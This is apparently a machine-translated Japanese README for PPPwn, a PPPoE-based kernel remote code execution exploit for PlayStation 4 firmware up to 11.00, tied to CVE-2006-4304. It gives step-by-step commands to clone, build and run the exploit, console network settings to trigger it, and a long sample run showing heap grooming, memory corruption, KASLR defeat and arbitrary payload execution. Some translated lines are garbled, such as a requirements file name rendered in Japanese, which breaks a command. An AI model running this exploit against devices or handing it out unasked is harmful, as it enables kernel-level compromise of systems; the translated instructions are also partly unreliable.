PPPwn は、FW 11.00 までの PlayStation 4 向けのカーネル リモート コード実行エクスプロイトです。これは、PlayStation に責任を持って報告された CVE-2006-4304 の概念実証エクスプロイトです。
サポートされているバージョンは次のとおりです。
FW7.00 / 7.01 / 7.02
FW 7.50 / 7.51 / 7.55
FW8.00 / 8.01 / 8.03
FW8.50 / 8.52
FW9.00
FW9.03 / 9.04
FW 9.50 / 9.51 / 9.60
FW10.00 / 10.01
FW10.50 / 10.70 / 10.71
FW11.00
さらに追加可能 (PR 歓迎)
このエクスプロイトは、概念実証として PS4 にPPPwned
出力するだけです。 Mira または同様の自作イネーブラーを起動するには、 stage2.bin
ペイロードを調整する必要があります。
Ethernetポートを備えたコンピュータ
USBアダプターも使えます
イーサネットケーブル
Linux
VirtualBox を使用して、VM のイーサネット ポートを使用するネットワーク アダプターとしてBridged Adapter
を備えた Linux VM を作成できます。
Python3とgccがインストールされている
コンピューター上でリポジトリのクローンを作成します。
git clone --recursive https://github.com/TheOfficialFloW/PPPwn
ディレクトリを複製したリポジトリに変更します。
cd PPPwn
要件をインストールします。
sudo pip install -r 要件.txt
ペイロードをコンパイルします。
make -C stage1 FW=1100 clean && make -C stage1 FW=1100 make -C stage2 FW=1100 clean && make -C stage2 FW=1100
他のファームウェア、たとえば FW 9.00 の場合は、 FW=900
を渡します。
まだエクスプロイトを実行しないでください (まだ Enter キーを押さないでください)。プロンプトで次のコマンドを準備してください (正しいインターフェイスについてはifconfig
参照してください)。
sudo python3 pppwn.py --interface=enp0s3 --fw=1100
他のファームウェア (FW 9.00 など) の場合は、 --fw=900
を渡します。
PS4 の場合:
Settings
、 Network
の順に移動します
Set Up Internet connection
を選択し、 Use a LAN Cable
を選択します。
Custom
セットアップ] を選択し、 IP Address Settings
でPPPoE
を選択します。
PPPoE User ID
とPPPoE Password
に任意の値を入力します
DNS Settings
とMTU Settings
でAutomatic
選択します
Proxy Server
としてDo Not Use
選択します
ここで、 Test Internet Connection
でコントローラーの [X] ボタンとキーボードの [Enter] を同時に押します (Python スクリプトを実行する準備ができているコンピューター上で)。
この PPPOE インジェクションを再試行する前に、必ずコンソールに「ネットワークに接続できません: (NW-31274-7)」というメッセージが表示されるまで待ってください。
エクスプロイトが失敗した場合、または PS4 がクラッシュした場合は、インターネットのセットアップをスキップして、 Test Internet Connection
をクリックするだけで済みます。 pppwn.py
スクリプトを強制終了し、コンピュータ上で再度実行し、PS4 でTest Internet Connection
をクリックします: 常に同時に。
エクスプロイトが機能すると、次のような出力が表示され、 Cannot connect to network.
次にPPPwned
PS4 に印刷するか、その逆を実行します。
[+] PPPwn - PlayStation 4 PPPoE RCE by theflow [+] 引数:interface=enp0s3 fw=1100 stage1=stage1/stage1.bin stage2=stage2/stage2.bin [+] ステージ 0: 初期化 [*] PADI を待っています... [+] pppoe_softc: 0xffffabd634beba00 [+] ターゲット MAC: xx:xx:xx:xx:xx:xx [+] ソース MAC: 07:ba:be:34:d6:ab [+] AC クッキーの長さ: 0x4e0 [*] PADOを送信中... [*] PADR を待っています... [*] PADS を送信中... [*] LCP 構成要求を待機しています... [*] LCP 構成 ACK を送信中... [*] LCP 構成リクエストを送信中... [*] LCP 構成 ACK を待機しています... [*] IPCP 構成要求を待機しています... [*] IPCP 設定 NAK を送信中... [*] IPCP 構成要求を待機しています... [*] IPCP 構成 ACK を送信中... [*] IPCP 構成要求を送信しています... [*] IPCP 構成 ACK を待機しています... [*] インターフェースの準備ができるのを待っています... [+] ターゲット IPv6: fe80::2d9:d1ff:febc:83e4 [+] ヒープ グルーミング...完了 [+] ステージ 1: メモリ破損 [+] CPU 0 に固定...完了 [*] 悪意のある LCP 構成リクエストを送信しています... [*] LCP 構成要求を待機しています... [*] LCP 構成 ACK を送信中... [*] LCP 構成リクエストを送信中... [*] LCP 構成 ACK を待機しています... [*] IPCP 構成要求を待機しています... [*] IPCP 設定 NAK を送信中... [*] IPCP 構成要求を待機しています... [*] IPCP 構成 ACK を送信中... [*] IPCP 構成要求を送信しています... [*] IPCP 構成 ACK を待機しています... [+] 破損したオブジェクトをスキャンしています...fe80::0fdf:4141:4141:4141 が見つかりました [+] ステージ 2: KASLR の敗北 [*] KASLR を倒す... [+] pppoe_softc_list: 0xffffffff884de578 [+] kaslr_offset: 0x3ffc000 [+] ステージ 3: リモート コード実行 [*] LCP 終了要求を送信中... [*] PADI を待っています... [+] pppoe_softc: 0xffffabd634beba00 [+] ターゲット MAC: xx:xx:xx:xx:xx:xx [+] ソース MAC: 97:df:ea:86:ff:ff [+] AC クッキーの長さ: 0x511 [*] PADOを送信中... [*] PADR を待っています... [*] PADS を送信中... [*] コード実行をトリガーしています... [*] ステージ 1 の再開を待っています... [*] PADT を送信中... [*] PADI を待っています... [+] pppoe_softc: 0xffffabd634be9200 [+] ターゲット MAC: xx:xx:xx:xx:xx:xx [+] AC クッキーの長さ: 0x0 [*] PADOを送信中... [*] PADR を待っています... [*] PADS を送信中... [*] LCP 構成要求を待機しています... [*] LCP 構成 ACK を送信中... [*] LCP 構成リクエストを送信中... [*] LCP 構成 ACK を待機しています... [*] IPCP 構成要求を待機しています... [*] IPCP 設定 NAK を送信中... [*] IPCP 構成要求を待機しています... [*] IPCP 構成 ACK を送信中... [*] IPCP 構成要求を送信しています... [*] IPCP 構成 ACK を待機しています... [+] ステージ 4: 任意のペイロードの実行 [*] ステージ 2 ペイロードを送信中... [+] 完了しました!
コードは Apple Silicon ではコンパイルされず、AMD64 アーキテクチャが必要です。必要な bin ファイルを構築する docker を使用する回避策があります。このリポジトリのクローンを Mac システムに作成し、リポジトリ フォルダから./build-macarm.sh
を実行します。これにより、PS4 FW 1100 用のバイナリがビルドされ、必要なファイルが正しいフォルダーに配置されます。別のバージョン (つまり 900) のバイナリをビルドするには、コマンド./build-macarm.sh 900
を実行します。構築したら、このフォルダー構造を Linux VM にコピーし、上記の手順に従って実行します。これは、VM ゲストが Ubuntu 24.04、ホスト マシンが MacOS 14.4.1 である VMware Fusion 13.5.1 を使用してテストされています。